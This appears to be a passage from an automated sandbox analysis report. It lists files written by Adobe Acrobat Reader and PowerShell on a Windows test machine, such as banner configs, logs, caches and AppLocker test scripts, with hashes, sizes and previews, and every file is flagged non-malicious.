SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfYdPeUkwRe9:YvXKXrU3veGcMJ5Gg8Ukee9
MD5:	FD30218C7DDE422EC589582957111DC9
SHA1:	154DCA4C0D5C4A2265ABBED5230B57370C1E2923
SHA-256:	DCC55ADD81271F6D5892B6F3FADD04B24A6F106DE979D29117B2C9E79C21BA31
SHA-512:	58F6D1AF3AFD6AE22712FF7E8248BDDF3A56678A1C04A94F3BF5B4E40A159D9752557352D14892963962371C42AA63065938964B117F427B8FD77FA34E85BBF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2954783831257375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJf+dPeUkwRe9:YvXKXrU3veGcMJ5G28Ukee9
MD5:	E767016BBC6E0975E223F39C3A45AC6E
SHA1:	6256A01DC7005969F0479088718DA742F4ED765A
SHA-256:	D8193F56756C245C1462680E7A859575DB4BC05EC3FF3D690AE7DE290A04B984
SHA-512:	094584EC96F8A5D44F40619F8AB2C20905AFC63936FA696DB4718296452C84D3326D2C40F76455AF3ACCB3B123A37F210012D668CF018A3F615D7E3AAD3BCF67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2924565186448715
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfbPtdPeUkwRe9:YvXKXrU3veGcMJ5GDV8Ukee9
MD5:	8BCB40B53D33B306584E5A73F070DE94
SHA1:	E44FA6610ACF909608E5F05D55A247440B4331A7
SHA-256:	A822FDFA799E4FDC61F649E57432E3769CAAF8FD00036BB291B4ACE3CBEEDB10
SHA-512:	00FE9269C7F4E5D395F905B3A0850E001143EFFDDFE62190BC9F0F628CC32FB45CDA8790A5F9D2E148D94F5E3E0776B11DE151108DEACAFF081D3A230FC3FB68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.295647631461933
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJf21rPeUkwRe9:YvXKXrU3veGcMJ5G+16Ukee9
MD5:	3E644BA7ED2196B36DF96C7A3E2522ED
SHA1:	3658989AF0DC559CA03508AF01A0AF3DB368C839
SHA-256:	4197DF3A6E1A90F1A67CBAD090956649DEE86224DC27B6F5FF49236A9F4FB2F6
SHA-512:	007A900F5579F2D6F8B3B11C85BFC98B06DBA6C27869EA02CAF963A99582207B3179B8133A1EFF85AC1B0485852EDBCCC79ED78296ED9A1BBEE0D2518F6A1C4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6635276746344285
Encrypted:	false
SSDEEP:	24:Yv6Xr37MYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvqFBgkDMUJUAh8cvMQ
MD5:	1271E900CA890CB39C4D812151D0C201
SHA1:	915460ED0651C1EA49ED3F1F96777FC051EAC456
SHA-256:	08F0B225AABB4E4FA685E5770ADB30F9DA5606D63A45524446ABF44FD1565CA3
SHA-512:	65B89029E2B537A2044F513A7F04467E7921224E8E9A82B84D1517CA72907F7B80BD523B1803528C86F9718EA56B2050062A68DC85B775DB882314D56CD734AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272060408816409
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfshHHrPeUkwRe9:YvXKXrU3veGcMJ5GUUUkee9
MD5:	9728EFD0BE66561FF56B77C62200EFD8
SHA1:	762E5CD901F7E1A56B622B8A8A56DA0F9C102816
SHA-256:	C1567DE9ED1738175DD7A578ED0F5A413DCCA6DCB0213754F4D272F10FD81A6E
SHA-512:	2879636C3DF0E630DB50408D3C1DC8708D2BF99F6131FDA239EBF3D17E784C6341AEB72615F90AEE3067C79832FA9032DB25F5BED4616B101E0E396E47C959A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.280584949137171
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJTqgFCrPeUkwRe9:YvXKXrU3veGcMJ5GTq16Ukee9
MD5:	665790ED3B356CEC7582EAF58D2B7653
SHA1:	E1FAA2D7D0F0A8B224EB4ABD233B0E26E031EA74
SHA-256:	DD87DF361F3447F7ED1232005AE25701EB9E8D2FCD78A6E0E3639D9DBF4F7E06
SHA-512:	0A680A7FF251A5D173F2C4F8040FB76A733F651A158794A4019798D81D18D0D6215E75BBFD6CE521215678DBD75056978DBB6A6110C17FD76F67FD5B2481C262
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131095569673868
Encrypted:	false
SSDEEP:	24:YzHhaUQay8h/uRJDwJuJx8j68j0SQWXSc2CkoP2LSaCJbj2n9/nSw6azbj51xr9Z:YN2RJpJ86OPTzkoPw8H2n9/nd5PN9Z
MD5:	6798071131225E0B862201BF20381A79
SHA1:	58BBB41EA37F92D108AA59C940564D4A272E36D1
SHA-256:	B9C5B47656B9B57DB782856A970336D1E964A118B37AFCC02F532CE7B3A3AF44
SHA-512:	0BC96C790D6368F50D3501AF36688F494C488BE4702634E3E926BEB3106FA0FD271A5C458BDE1E87A85889444A70B0D1B1CC3DA252C1064A383E19DF953E0E6E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e644faf8fe87895e18f3633e522218af","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556353000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"bf14c853c1097560d436172b2d91d8e7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556352000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"44ae4bd7651a878a09c8d90c332f94ed","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556352000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"81ec3909baaa23c57ee0edfe4117fd04","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556352000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"06497458e682cd43f6977aa6f95df4ea","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556352000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"052552d8130738602ee57f176a71ed12","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1463094754782914
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urshCLRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudc:TFl2GL7mshsXc+XcGNFlRYIX2v3kmy
MD5:	055051B9DCF1B750F4532021464D1FA6
SHA1:	296C6DECE70784557FEAAE6A9A5154E7F49E5CD0
SHA-256:	7C4F8EDA4132544E7895FD318F62BDAAE569F514C534A0B773163588C61FC169
SHA-512:	245AD737A6C939436E20738CC2433DED042F1E1B30030AF1FF7E478BB23C7D17246E0A8B85E9273F4CD0EE83696ECF74FEB1BC13AF97109166ED2810D57411FA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5507009303551378
Encrypted:	false
SSDEEP:	24:7+tKCLUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux1nqLxx/XI:7MKbXc+XcGNFlRYIX2vsnqVl2GL7msG
MD5:	C3C4A5EA24C82C27BE25FE99F16E8171
SHA1:	50345E2EF75AD5BAB0C1CC524A1F54750FDBFFD7
SHA-256:	0A1FC7898806F030F90B234342838E7A55ABDB1794D60407D794F1E09D2ECD0D
SHA-512:	62D30D085BC144526BC53B9232D1D9AE8F2C18B628F1A45133B439177FE71DCA6EFE35E2AB2EF2B8BD25DE9C89D829E618717618F8C34306E25E4388AB71F42A
Malicious:	false
Preview:	.... .c.....~OS...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgJ1dNrwwepxb6UQ5y20EWIrlu4Yyu:6a6TZ44ADEJ1bswYx+UQ3Ju4K
MD5:	9AB545845F3F525837A52B4BAB503E05
SHA1:	18B7F63F7AF931761CD071EC5D41F9D62B96778F
SHA-256:	0E1EC13ABD93F76CA6069BF75EDC048B3667CC64AD1AC1AD2DAC6840D21EA8D4
SHA-512:	B2E963EF5EE93D56134693CB54A0AC5056259CC37B61D51DC8C265870FE6A9DC1DC4F71C39A0FDBC1ED5705D2FAE7F7D6BBDAEB307ACA38C0BFE28113E35587C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIdbcfe.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE9YH:Qw946cPbiOxDlbYnuRK+bD9YH
MD5:	7A769FE83DBF3497C2F6C934475AD7B9
SHA1:	19D3677C2A34078C854DEFB19F9F302443FAD53C
SHA-256:	109075CFE9ABD3743143A0B4144D0758709EE83B202214E5EF3FCD37B6ABEC07
SHA-512:	6060A5117CD6A4BE44E3A99BA67C90509D2423D7216A61C7D11A94C088CC15E3EEB0CBF14ED68714FEDFD141E2A0F40EE51027A6E543FEE30334A8743C14CCDE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.4.5.:.5.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e43iy4tw.4hm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skx2y3yn.s33.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-45-45-019.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.359528741645999
Encrypted:	false
SSDEEP:	384:zcWZOEPtuHuf8uHOKVxRND2LnYNxVP/dgf1jxpDt03gJ/AnD1MkP1w1EZeokFGuL:xQF
MD5:	69E8A5DAEC734F549A7D84667312A67B
SHA1:	F65858DFE01192AD551DC3DB0F13EEFB2E086225
SHA-256:	6266A4672166A45E72B6DE72213A06B1B666315F8904F66900D591EA1926A792
SHA-512:	247CEC01210795655F1D03404C356FC8D9C6DB8B057519C1B6AD12517FB4D67E434DC65CE5F8C67BB7AC9486D86B339DEC1D1E97023D0DDCD77B838E3274640B
Malicious:	false
Preview:	SessionID=cbcc9512-5a2a-4878-930e-dc81db13649c.1736556345045 Timestamp=2025-01-10T19:45:45:045-0500 ThreadID=7528 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cbcc9512-5a2a-4878-930e-dc81db13649c.1736556345045 Timestamp=2025-01-10T19:45:45:067-0500 ThreadID=7528 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cbcc9512-5a2a-4878-930e-dc81db13649c.1736556345045 Timestamp=2025-01-10T19:45:45:067-0500 ThreadID=7528 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cbcc9512-5a2a-4878-930e-dc81db13649c.1736556345045 Timestamp=2025-01-10T19:45:45:067-0500 ThreadID=7528 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cbcc9512-5a2a-4878-930e-dc81db13649c.1736556345045 Timestamp=2025-01-10T19:45:45:067-0500 ThreadID=7528 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.396293578227332
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbX1cbWIhPcbV:V3fOCIdJDe5ShQ
MD5:	661BDFE2A1F3C80E87110301BFB94468
SHA1:	CC9D109F31A664257F6B6AEE1853B30CD6F24D40
SHA-256:	1BEC80D75EDB676B55399C928509B29BB4E764BF6AA820F6E6D02C727FA0FFBF
SHA-512:	2EB822F51385D2A0B3016EC62DBB40D2FEF4607A25F106B0ED709F6355BAA83AC5757F8FFBACB655209A57604582133A76398D71599F79CCC1C37BE392A44E39
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6e773938-b4ed-4061-b3cd-3c55dd8d9475.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\aed01815-7fc0-4039-b60d-0219c9323966.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
